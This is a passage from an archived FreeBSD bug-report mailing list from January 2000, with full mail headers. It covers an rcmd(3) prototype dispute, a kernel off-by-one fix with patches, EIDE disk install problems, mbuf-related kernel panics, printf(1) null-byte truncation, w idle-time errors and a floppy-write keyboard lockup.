Which instances should be fixed? > > Neither. Please read a text on Standard C, such as K&R or H&S. Am I missing something ? The function definition, man page and header file should be consistent. ``int'' != ``u_short'' irrespective of promotions. u_short is correct (although I don't know what posix has to say about it). > -GAWollman -- Brian Don't _EVER_ lose your sense of humour ! To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Thu Jan 6 14:34:48 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from smtp2.vnet.net (smtp2.vnet.net [166.82.1.32]) by hub.freebsd.org (Postfix) with ESMTP id 5C81E14E2B for ; Thu, 6 Jan 2000 14:34:39 -0800 (PST) (envelope-from rivers@dignus.com) Received: from dignus.com (ponds.vnet.net [166.82.177.48]) by smtp2.vnet.net (8.9.1a/8.9.1) with ESMTP id RAA17071; Thu, 6 Jan 2000 17:34:27 -0500 (EST) Received: from lakes.dignus.com (lakes.dignus.com [10.0.0.3]) by dignus.com (8.9.2/8.8.5) with ESMTP id RAA11572; Thu, 6 Jan 2000 17:34:25 -0500 (EST) Received: (from rivers@localhost) by lakes.dignus.com (8.9.3/8.6.9) id RAA61468; Thu, 6 Jan 2000 17:34:25 -0500 (EST) Date: Thu, 6 Jan 2000 17:34:25 -0500 (EST) From: Thomas David Rivers Message-Id: <200001062234.RAA61468@lakes.dignus.com> To: brian@Awfulhak.org, wollman@khavrinen.lcs.mit.edu Subject: Re: bin/15906: rcmd(3) prototype disagrees with definition Cc: freebsd-bugs@FreeBSD.ORG In-Reply-To: <200001061927.TAA00473@hak.lan.Awfulhak.org> Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > From owner-freebsd-bugs@FreeBSD.ORG Thu Jan 6 17:21:32 2000 > Received: from dignus.com (ponds.dignus.com [10.0.0.1]) by lakes.dignus.com (8.9.3/8.6.9) with ESMTP id RAA61416 for ; Thu, 6 Jan 2000 17:21:31 -0500 (EST) > Received: from hub.freebsd.org (hub.FreeBSD.ORG [204.216.27.18]) > by dignus.com (8.9.2/8.8.5) with ESMTP id RAA11559 > for ; Thu, 6 Jan 2000 17:21:27 -0500 (EST) > Received: by hub.freebsd.org (Postfix, from userid 538) > id 1F63B15778; Thu, 6 Jan 2000 14:18:26 -0800 (PST) > Received: from localhost (localhost [127.0.0.1]) > by hub.freebsd.org (Postfix) with SMTP > id D672A1CD824; Thu, 6 Jan 2000 14:18:25 -0800 (PST) > (envelope-from owner-freebsd-bugs) > Received: by hub.freebsd.org (bulk_mailer v1.12); Thu, 6 Jan 2000 14:18:25 -0800 > Delivered-To: freebsd-bugs@freebsd.org > Received: from awfulhak.org (dynamic-80.max4-du-ws.dialnetwork.pavilion.co.uk [212.74.9.208]) > by hub.freebsd.org (Postfix) with ESMTP id 3919815790 > for ; Thu, 6 Jan 2000 14:18:16 -0800 (PST) > (envelope-from brian@Awfulhak.org) > Received: from hak.lan.Awfulhak.org (root@hak.lan.Awfulhak.org [172.16.0.12]) > by awfulhak.org (8.9.3/8.9.3) with ESMTP id WAA94562; > Thu, 6 Jan 2000 22:18:11 GMT > (envelope-from brian@lan.awfulhak.org) > Received: from hak.lan.Awfulhak.org (localhost.lan.Awfulhak.org [127.0.0.1]) > by hak.lan.Awfulhak.org (8.9.3/8.9.3) with ESMTP id TAA00473; > Thu, 6 Jan 2000 19:27:52 GMT > (envelope-from brian@hak.lan.Awfulhak.org) > Message-Id: <200001061927.TAA00473@hak.lan.Awfulhak.org> > X-Mailer: exmh version 2.1.0 09/18/1999 > To: Garrett Wollman > Cc: freebsd-bugs@FreeBSD.ORG > Subject: Re: bin/15906: rcmd(3) prototype disagrees with definition > In-Reply-To: Message from Garrett Wollman > of "Wed, 05 Jan 2000 09:40:02 PST." <200001051740.JAA13901@freefall.freebsd.org> > Date: Thu, 06 Jan 2000 19:27:52 +0000 > From: Brian Somers > Sender: owner-freebsd-bugs@FreeBSD.ORG > X-Loop: FreeBSD.org > Precedence: bulk > Status: R > > > The following reply was made to PR bin/15906; it has been noted by GNATS. > > > > From: Garrett Wollman > > To: naddy@mips.rhein-neckar.de > > Cc: FreeBSD-gnats-submit@FreeBSD.ORG > > Subject: bin/15906: rcmd(3) prototype disagrees with definition > > Date: Wed, 5 Jan 2000 12:30:19 -0500 (EST) > > > > < said: > > > > >> Synopsis: rcmd(3) prototype disagrees with definition > > > > No, it does not. > > > > > int rcmd __P((char **, int, const char *, > > > const char *, const char *, int *)); > > > > This is the correct prototype for a declaration of the form: > > > > > int > > > rcmd(ahost, rport, locuser, remuser, cmd, fd2p) > > > char **ahost; > > > u_short rport; > > > const char *locuser, *remuser, *cmd; > > > int *fd2p; > > > > > Which instances should be fixed? > > > > Neither. Please read a text on Standard C, such as K&R or H&S. > > Am I missing something ? The function definition, man page and > header file should be consistent. ``int'' != ``u_short'' > irrespective of promotions. u_short is correct (although I don't know > what posix has to say about it). > > > -GAWollman > > -- > Brian > > Don't _EVER_ lose your sense of humour ! > According to ANSI C - a u_short in an old-style header declaration has to match with an `int' in a prototype. If you put u_short in the prototype, and then had an old-style header with u_int in it - the compiler should complain about a redeclaration of the function. - Dave Rivers - To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Thu Jan 6 15: 0: 5 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id 8B28714CE2 for ; Thu, 6 Jan 2000 15:00:02 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.9.3/8.9.2) id PAA12698; Thu, 6 Jan 2000 15:00:02 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: from alcanet.com.au (border.alcanet.com.au [203.62.196.10]) by hub.freebsd.org (Postfix) with ESMTP id 16CDC156FC for ; Thu, 6 Jan 2000 14:58:44 -0800 (PST) (envelope-from jeremyp@gsmx07.alcatel.com.au) Received: by border.alcanet.com.au id <40327>; Fri, 7 Jan 2000 09:51:15 +1100 Message-Id: <00Jan7.095115est.40327@border.alcanet.com.au> Date: Fri, 7 Jan 2000 09:51:14 +1100 From: peter.jeremy@alcatel.com.au To: freefall-gnats@gsmx07.alcatel.com.au X-Send-Pr-Version: 3.2 Subject: kern/15956: Off-by-1 error in diskstrategy() triggers bug in ATA Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >Number: 15956 >Category: kern >Synopsis: Off-by-1 error in diskstrategy() >Confidential: no >Severity: serious >Priority: high >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Thu Jan 6 15:00:01 PST 2000 >Closed-Date: >Last-Modified: >Originator: Peter Jeremy >Release: FreeBSD 4.0-CURRENT i386 >Organization: >Environment: cvs-cur 5961 >Description: The I/O request range check in /sys/kern/subr_disk.c does not correctly handle an EOF return from dscheck() - instead of terminating the I/O (returning EOF to the caller), it passes a zero-length request to the underlying d_strategy() - which at least for the ATA device can't handle it. >How-To-Repeat: # dd if=/dev/rad0c of=/dev/null bs=128k will report an error at the end of the slice (even if the slice is a multiple of 128k). The problem does not occur with the old wd driver (and it shouldn't appear with the wfd, ida or vn drivers), but appears to affect all other disk devices. >Fix: 1) Don't pass zero-length requests to the underlying device: Index: subr_disk.c =================================================================== RCS file: /home/CVSROOT/src/sys/kern/subr_disk.c,v retrieving revision 1.16 diff -u -r1.16 subr_disk.c --- subr_disk.c 1999/12/19 12:36:41 1.16 +++ subr_disk.c 2000/01/06 21:39:34 @@ -193,7 +193,7 @@ return; } - if (dscheck(bp, dp->d_slice) < 0) { + if (dscheck(bp, dp->d_slice) <= 0) { biodone(bp); return; } 2) Add belt-and-braces checks to ATA device (this code compiles and links, but I haven't booted from the resultant kernel): Index: ata-disk.c =================================================================== RCS file: /home/CVSROOT/src/sys/dev/ata/ata-disk.c,v retrieving revision 1.47 diff -u -r1.47 ata-disk.c --- ata-disk.c 1999/12/21 20:18:55 1.47 +++ ata-disk.c 2000/01/06 22:13:09 @@ -301,6 +301,9 @@ struct ad_softc *adp = bp->b_dev->si_drv1; int32_t s; + if (!bp || !bp->b_bcount) + return; + s = splbio(); bufqdisksort(&adp->queue, bp); ad_start(adp); @@ -375,7 +378,7 @@ struct buf *bp = bufq_first(&adp->queue); struct ad_request *request; - if (!bp) + if (!bp || !bp->b_bcount) return; if (!(request = malloc(sizeof(struct ad_request), M_AD, M_NOWAIT))) { >Release-Note: >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Thu Jan 6 15: 5:37 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from paralleldata.com (smtp.paralleldata.com [38.153.145.2]) by hub.freebsd.org (Postfix) with ESMTP id DF3AE14C42 for ; Thu, 6 Jan 2000 15:05:30 -0800 (PST) (envelope-from wsb@paralleldata.com) Received: by paralleldata.com from localhost (router,SLMail V2.5); Thu, 06 Jan 2000 17:09:31 -0600 Received: by paralleldata.com from paralleldata.com (209.186.235.140::mail daemon; unverified,SLMail V2.5); Thu, 06 Jan 2000 17:09:28 -0600 Message-ID: <38751DA8.4A66051B@paralleldata.com> Date: Thu, 06 Jan 2000 16:56:40 -0600 From: "Wes Bauske" Organization: Parallel Data Systems Inc. X-Mailer: Mozilla 4.51 [en] (X11; I; Linux 2.2.5-15 i686) X-Accept-Language: en MIME-Version: 1.0 To: "Jordan K. Hubbard" Cc: mjacob@feral.com, "Jordan K. Hubbard" , freebsd-bugs@FreeBSD.ORG Subject: Re: kern/15611: EIDE Large Disk Support, Newfs problem, File systemcorruption,IBM-DPTA-353750 References: <1693.947188310@zippy.cdrom.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org "Jordan K. Hubbard" wrote: > > Hurm, I don't have those results at all the Alpha snapshots I've > tried. Perhaps we could hear a bit more about the specific versions > used and the hardware in question? > > - Jordan > > > > > > OK, I tried the latest two versions of boot floppies > > > from current.FreeBSD.org and both fail to get to the > > > point where I can do an install. Any preferences on > > > which date snapshot for 4.0 I should try?? > > > > > > One got to the point where it put up the sysinstall > > > menu but I couldn't use the keyboard to navigate the > > > menus. The other wouldn't boot saying it couldn't > > > load /kernel. > > > > Boy, that sucks. Jordan? > > > > OK. I got the floppies from: ftp://current.freebsd.org/pub/FreeBSD/snapshots/i386/4.0-20000103-CURRENT/ ftp://current.freebsd.org/pub/FreeBSD/snapshots/i386/4.0-20000105-CURRENT/ The first one booted and got to the blue menu but when I tried to use the keyboard, the whole menu moved up and down, kind of like curses was broken/no longer active. The last one wouldn't boot saying /kernel not loaded. I used the "ls" command in the boot program and it showed kernel.gz was there. The system is a PIII 600 with SuperMicro PIIISCD board. It uses the Intel 820 chipset architecture so it's quite new. Has a standard 1.44MB floppy, 50x cdrom and two 40GB Maxtor EIDE drives. I did install 3.4 on the box but doing any large file systems on the Maxtors trashes my separate root partition. Also, I tried RH6.0 Linux and it's OK except for using large FS on the Maxtors. If I just do a "touch junk" when the FS is 32GB or more, it trashes Linux's root FS too. Not sure if that's helpful but it tells me this board is doing something different than the Athlon I started with 40GB EIDE drives on. The Athlon at least behaved with Linux and large file systems. What else do you want to know?? I'm expecting a Via Apollo Pro133 based motherboard sometime next week that I'll be trying too. Wes To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Thu Jan 6 22:30: 4 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id 90C3714F72 for ; Thu, 6 Jan 2000 22:30:02 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.9.3/8.9.2) id WAA79475; Thu, 6 Jan 2000 22:30:02 -0800 (PST) (envelope-from gnats@FreeBSD.org) Date: Thu, 6 Jan 2000 22:30:02 -0800 (PST) Message-Id: <200001070630.WAA79475@freefall.freebsd.org> To: freebsd-bugs@FreeBSD.org Cc: From: Bosko Milekic Subject: Re: kern/10872: Panic in soreceive() due to NULL mbuf pointer Reply-To: Bosko Milekic Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org The following reply was made to PR kern/10872; it has been noted by GNATS. From: Bosko Milekic To: terry@tmk.com, freebsd-gnats-submit@freebsd.org Cc: Subject: Re: kern/10872: Panic in soreceive() due to NULL mbuf pointer Date: Fri, 7 Jan 2000 01:20:29 -0500 (EST) > Most of the panics are the sbdrop panic, but some of them are a trap 12 > in tulip_rx_intr(). Terry, Do you think you could provide a trace of particularily the crash that you're getting in tulip_rx_intr() ? This is the first time that I hear of the Tulip cards puking out in conjunction with the ncr and quite honestly, I'm really desperate trying to figure out what could cause the inconsistency between sb_cc and sb_mb. Perhaps this could shed some light on the issue as it would eliminate the sole blame on the fxp driver. -- Bosko Milekic Email: bmilekic@dsuper.net WWW: http://pages.infinit.net/bmilekic/ -- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Thu Jan 6 23:10:11 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id A1200155D9 for ; Thu, 6 Jan 2000 23:10:02 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.9.3/8.9.2) id XAA82425; Thu, 6 Jan 2000 23:10:02 -0800 (PST) (envelope-from gnats@FreeBSD.org) Date: Thu, 6 Jan 2000 23:10:02 -0800 (PST) Message-Id: <200001070710.XAA82425@freefall.freebsd.org> To: freebsd-bugs@FreeBSD.org Cc: From: Sheldon Hearn Subject: Re: bin/15929: printf(1) truncates if it sees 000 Reply-To: Sheldon Hearn Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org The following reply was made to PR bin/15929; it has been noted by GNATS. From: Sheldon Hearn To: Archie Cobbs Cc: FreeBSD-gnats-submit@freebsd.org Subject: Re: bin/15929: printf(1) truncates if it sees 000 Date: Fri, 07 Jan 2000 09:08:33 +0200 On Thu, 06 Jan 2000 09:33:49 PST, Archie Cobbs wrote: > But that's not the point, of course. Either the bug should be fixed > or else at least declared 'normal' and so documented in the man page. That's the bit I'm after. What's the bug? From printf(3): These functions return the number of characters printed (not including the trailing `\0' used to end output to strings). Presumably, you want some indication in the printf(1) manual page that a null character in the string terminates it? Or is there something else you think we can do? Ciao, Sheldon. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Thu Jan 6 23:30: 4 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id 4C175155AE for ; Thu, 6 Jan 2000 23:30:02 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.9.3/8.9.2) id XAA84060; Thu, 6 Jan 2000 23:30:02 -0800 (PST) (envelope-from gnats@FreeBSD.org) Date: Thu, 6 Jan 2000 23:30:02 -0800 (PST) Message-Id: <200001070730.XAA84060@freefall.freebsd.org> To: freebsd-bugs@FreeBSD.org Cc: From: Terry Kennedy Subject: Re: kern/10872: Panic in soreceive() due to NULL mbuf pointer Reply-To: Terry Kennedy Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org The following reply was made to PR kern/10872; it has been noted by GNATS. From: Terry Kennedy To: Bosko Milekic Cc: freebsd-gnats-submit@freebsd.org Subject: Re: kern/10872: Panic in soreceive() due to NULL mbuf pointer Date: Fri, 07 Jan 2000 02:13:35 -0500 (EST) > Do you think you could provide a trace of particularily the crash that > you're getting in tulip_rx_intr() ? This is the first time that I hear of > the Tulip cards puking out in conjunction with the ncr and quite > honestly, I'm really desperate trying to figure out what could cause the > inconsistency between sb_cc and sb_mb. Perhaps this could shed some light > on the issue as it would eliminate the sole blame on the fxp driver. The system hasn't crashed since I rebuilt a kernel with debug symbols (-g) enabled. The box needs to be down for a few hours and then get swamped with packets, and if it's down for that long I get loads of unhappy users, so I can't do much testing. If it does fail again, I will collect crash dumps. I can say that the tulip_rx_intr() crash was in a MCLGET macro, and that a netstat -m on the various crash dumps all showed an apparently impossible mbuf usage - something like "1700/1600 mbufs in use" - however, in other *BSD's, I've found that the assorted *stat programs sometimes get confused between the running kernel values and the ones in the crash dump. Perhaps this is enough of a hint, though. I did a quick peek at the other *BSD's to see if there was anything obvious but the various versions have diverged enough that it wasn't useful. I did find references to sbdrop panics on other *BSD's, but in old versions - the PR's were closed with comments like "this code was changed a lot since the version it was reported against - if it happens on a current kernel, let us know". Terry Kennedy http://www.tmk.com terry@tmk.com Jersey City, NJ USA +1 201 451 4554 (voice) +1 201 451 0900 (FAX) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Fri Jan 7 0: 0:17 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id EDAA2154D5 for ; Fri, 7 Jan 2000 00:00:02 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.9.3/8.9.2) id AAA88146; Fri, 7 Jan 2000 00:00:02 -0800 (PST) (envelope-from gnats@FreeBSD.org) Date: Fri, 7 Jan 2000 00:00:02 -0800 (PST) Message-Id: <200001070800.AAA88146@freefall.freebsd.org> To: freebsd-bugs@FreeBSD.org Cc: From: Bosko Milekic Subject: Re: kern/10872: Panic in soreceive() due to NULL mbuf pointer Reply-To: Bosko Milekic Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org The following reply was made to PR kern/10872; it has been noted by GNATS. From: Bosko Milekic To: Terry Kennedy Cc: freebsd-gnats-submit@freebsd.org Subject: Re: kern/10872: Panic in soreceive() due to NULL mbuf pointer Date: Fri, 7 Jan 2000 02:57:51 -0500 (EST) On Fri, 7 Jan 2000, Terry Kennedy wrote: > I can say that the tulip_rx_intr() crash was in a MCLGET macro, and that >a netstat -m on the various crash dumps all showed an apparently impossible >mbuf usage - something like "1700/1600 mbufs in use" - however, in other >*BSD's, I've found that the assorted *stat programs sometimes get confused >between the running kernel values and the ones in the crash dump. Perhaps >this is enough of a hint, though. Hmmm, judging from your original post, I thought that what you were receiving in tulip_rx_intr() was a page fault? In any case, at the time this was occuring, `netstat -m' could display `peak' for mbuf _clusters_ greater than the actual `max.' However, this has been changed and now the limit of possible mclusters allocated from the pool is capped at exactly to what it was tuned for. Considering all this, a fair assumption would be that the tulip_rx_intr() panic was a side-effect of an mbuf shortage. Hopefully, you will no longer obtain this particular panic. As for the sbdrop() issue, that, I believe, is a whole other story. I think, at this point, that the problem is fairly isolated in the uipc_socket2.c code, and has not-so-much to do with the fxp driver, in particular, but that it occurs more as a `side-effect' of some timing-related issue. I'd prefer to keep searching until I figure it out before claiming anything, though. The biggest problem that I have at this end is that due to lack of hardware, I cannot reproduce it. Thanks for your input! Bosko. -- Bosko Milekic Email: bmilekic@dsuper.net WWW: http://pages.infinit.net/bmilekic/ -- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Fri Jan 7 0: 1:20 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from mailman.zeta.org.au (mailman.zeta.org.au [203.26.10.16]) by hub.freebsd.org (Postfix) with ESMTP id 9A3A2155D9 for ; Fri, 7 Jan 2000 00:01:10 -0800 (PST) (envelope-from bde@zeta.org.au) Received: from bde.zeta.org.au (beefcake.zeta.org.au [203.26.10.12]) by mailman.zeta.org.au (8.8.7/8.8.7) with ESMTP id TAA08573; Fri, 7 Jan 2000 19:01:01 +1100 Date: Fri, 7 Jan 2000 19:00:59 +1100 (EST) From: Bruce Evans X-Sender: bde@alphplex.bde.org To: Archie Cobbs Cc: freebsd-bugs@FreeBSD.ORG Subject: Re: bin/15929: printf(1) truncates if it sees 000 In-Reply-To: <200001061740.JAA81806@freefall.freebsd.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Thu, 6 Jan 2000, Archie Cobbs wrote: > Sheldon Hearn writes: > > > $ printf 'a\000truncated\n' > > > > > > This outputs "a" instead of "atruncated" > > > > What would you expect to happen, given that printf(3) exhibits the same > > behaviour? > > No, I'm not at all surprised. > > But that's not the point, of course. Either the bug should be fixed > or else at least declared 'normal' and so documented in the man page. printf(1) does seem to be incompatible with printf(3) here. From a POSIX draft: (3) In addition to the escape sequences shown in Table 2-15 (see 2.12), \ddd, where ddd is a one-, two-, or three-digit octal number, shall be written as a byte with the numeric value specified by the octal number. converted string shall be written. There seems to be no special case for the escape sequence \000. I think this is a bug in the POSIX draft. In C, printf(3) would never see the escape sequence \000; it would see a hard \0. You would have to use %c format to print a hard \0. Bruce To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Fri Jan 7 0:20: 5 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id 1937914E10 for ; Fri, 7 Jan 2000 00:20:03 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.9.3/8.9.2) id AAA89728; Fri, 7 Jan 2000 00:20:02 -0800 (PST) (envelope-from gnats@FreeBSD.org) Date: Fri, 7 Jan 2000 00:20:02 -0800 (PST) Message-Id: <200001070820.AAA89728@freefall.freebsd.org> To: freebsd-bugs@FreeBSD.org Cc: From: Terry Kennedy Subject: Re: kern/10872: Panic in soreceive() due to NULL mbuf pointer Reply-To: Terry Kennedy Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org The following reply was made to PR kern/10872; it has been noted by GNATS. From: Terry Kennedy To: Bosko Milekic Cc: freebsd-gnats-submit@freebsd.org Subject: Re: kern/10872: Panic in soreceive() due to NULL mbuf pointer Date: Fri, 07 Jan 2000 03:06:33 -0500 (EST) > Hmmm, judging from your original post, I thought that what you were > receiving in tulip_rx_intr() was a page fault? Yes. A trap 12 from a memory reference inside MCLGET. > In any case, at the time this was occuring, `netstat -m' could > display `peak' for mbuf _clusters_ greater than the actual `max.' No, this was definitely mbufs, not mbuf clusters. As I said, this could be an error in the netstat code (the 4BSD code tends to use kerninfo even when it thinks it is looking at a corefile - I haven't looked at the cur- rent FreeBSD code to see if it's been fixed). > As for the sbdrop() issue, that, I believe, is a whole other story. I > think, at this point, that the problem is fairly isolated in the > uipc_socket2.c code, and has not-so-much to do with the fxp driver, in > particular, but that it occurs more as a `side-effect' of some > timing-related issue. I'd prefer to keep searching until I figure it out > before claiming anything, though. The biggest problem that I have at this > end is that due to lack of hardware, I cannot reproduce it. Ok. Someone else has appended to this PR that they have code that can trigger the bug pretty much at will on 3.4-RELEASE, so hopefully that will provide enough info. If nobody else has the hardware to test this, I can put up a test box if I get that code, and then I can make the box and the crash dumps available to folks. I just can't clobber my production system 8-) Terry Kennedy http://www.tmk.com terry@tmk.com Jersey City, NJ USA +1 201 451 4554 (voice) +1 201 451 0900 (FAX) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Fri Jan 7 1:40: 4 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id E947414DC0 for ; Fri, 7 Jan 2000 01:40:02 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.9.3/8.9.2) id BAA96650; Fri, 7 Jan 2000 01:40:02 -0800 (PST) (envelope-from gnats@FreeBSD.org) Date: Fri, 7 Jan 2000 01:40:02 -0800 (PST) Message-Id: <200001070940.BAA96650@freefall.freebsd.org> To: freebsd-bugs@FreeBSD.org Cc: From: Jens Schweikhardt Subject: Re: bin/15832: the w commands can show a bad result on the idle time Reply-To: Jens Schweikhardt Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org The following reply was made to PR bin/15832; it has been noted by GNATS. From: Jens Schweikhardt To: freebsd-gnats-submit@FreeBSD.org, admin@ewan.qc.ca Cc: Subject: Re: bin/15832: the w commands can show a bad result on the idle time Date: Fri, 07 Jan 2000 10:32:30 +0100 I have discovered the same and tried to investigate a little (last night at 11pm... so beware). The bogus idle time happens on my 3.2-RELEASE system when I (eg) start a new xterm which needs a new pty, say /dev/ttypq. If I do not type anything in the new xterm's shell, /usr/bin/w uses /dev/ttypq's st_atimesec (as displayed by ls -u /dev/ttypq) as the last "active" point in time which can well be beyond the uptime. I'm not sure if this is w's fault or if the st_atimesec of the pty is not properly updated when the pty is used (opened?). As soon as I run some command in that pty, everything is okay. -- Regards, Jens -- Jens Schweikhardt http://www.schweikhardt.net/ SIGSIG -- signature too long (core dumped) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Fri Jan 7 3:20:10 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id D5A9915673 for ; Fri, 7 Jan 2000 03:20:01 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.9.3/8.9.2) id DAA06637; Fri, 7 Jan 2000 03:20:01 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: from mout01.kundenserver.de (mout01.kundenserver.de [195.20.224.132]) by hub.freebsd.org (Postfix) with ESMTP id 72D4A14DC0 for ; Fri, 7 Jan 2000 03:16:30 -0800 (PST) (envelope-from kjwolf@seismic.de) Received: from [195.20.224.75] (helo=mrelay00.kundenserver.de) by mout01.kundenserver.de with esmtp (Exim 2.12 #2) id 126XNd-0005MD-00 for FreeBSD-gnats-submit@freebsd.org; Fri, 7 Jan 2000 12:16:29 +0100 Received: from [62.157.66.49] (helo=solling.seismic.de) by mrelay00.kundenserver.de with esmtp (Exim 2.12 #2) id 126XNX-0008LS-00 for FreeBSD-gnats-submit@freebsd.org; Fri, 7 Jan 2000 12:16:24 +0100 Received: by solling.seismic.de (Postfix, from userid 100) id 2B3B410D; Fri, 7 Jan 2000 12:16:13 +0100 (CET) Message-Id: <20000107111613.2B3B410D@solling.seismic.de> Date: Fri, 7 Jan 2000 12:16:13 +0100 (CET) From: kjwolf@seismic.de Reply-To: kjwolf@seismic.de To: FreeBSD-gnats-submit@freebsd.org X-Send-Pr-Version: 3.2 Subject: i386/15961: No keyboard import possible after floppy drive error Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >Number: 15961 >Category: i386 >Synopsis: System allows no keyboard input after floppy drive error >Confidential: no >Severity: serious >Priority: low >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Fri Jan 7 03:20:01 PST 2000 >Closed-Date: >Last-Modified: >Originator: Klaus-Juergen Wolf >Release: FreeBSD 3.4-RELEASE i386 >Organization: >Environment: PII-300 96MB >Description: After erroneously having mounted a write-protected floppy without -r option (i.e. read-writable), a write attempt on the floppy results in the system ignoring keyboard input (w/o any further I/O activity), even Ctrl-Alt-Del (as explicitly allowed in the kernel config). The system didn't appear to hang as a whole; one could switch between the virtual consoles. Error messages: Jan 7 11:57:24 solling /kernel: fd0c: hard error writing fsbn 284 (ST0 40 ST1 2 ST2 0 cyl 7 hd 1 sec 15) Jan 7 11:57:24 solling /kernel: fd0c: hard error writing fsbn 1282 (ST0 40 ST1 2 ST2 0 cyl 35 hd 1 sec 5) >How-To-Repeat: Mount a write protected floppy writable and write on it. >Fix: Unknown. >Release-Note: >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Fri Jan 7 4:10: 8 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id 5ECCF15652 for ; Fri, 7 Jan 2000 04:10:02 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.9.3/8.9.2) id EAA13523; Fri, 7 Jan 2000 04:10:02 -0800 (PST) (envelope-from gnats@FreeBSD.org) Date: Fri, 7 Jan 2000 04:10:02 -0800 (PST) Message-Id: <200001071210.EAA13523@freefall.freebsd.org> To: freebsd-bugs@FreeBSD.org Cc: From: Poul-Henning Kamp Subject: Re: kern/15956: Off-by-1 error in diskstrategy() triggers bug in ATA Reply-To: Poul-Henning Kamp Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org The following reply was made to PR kern/15956; it has been noted 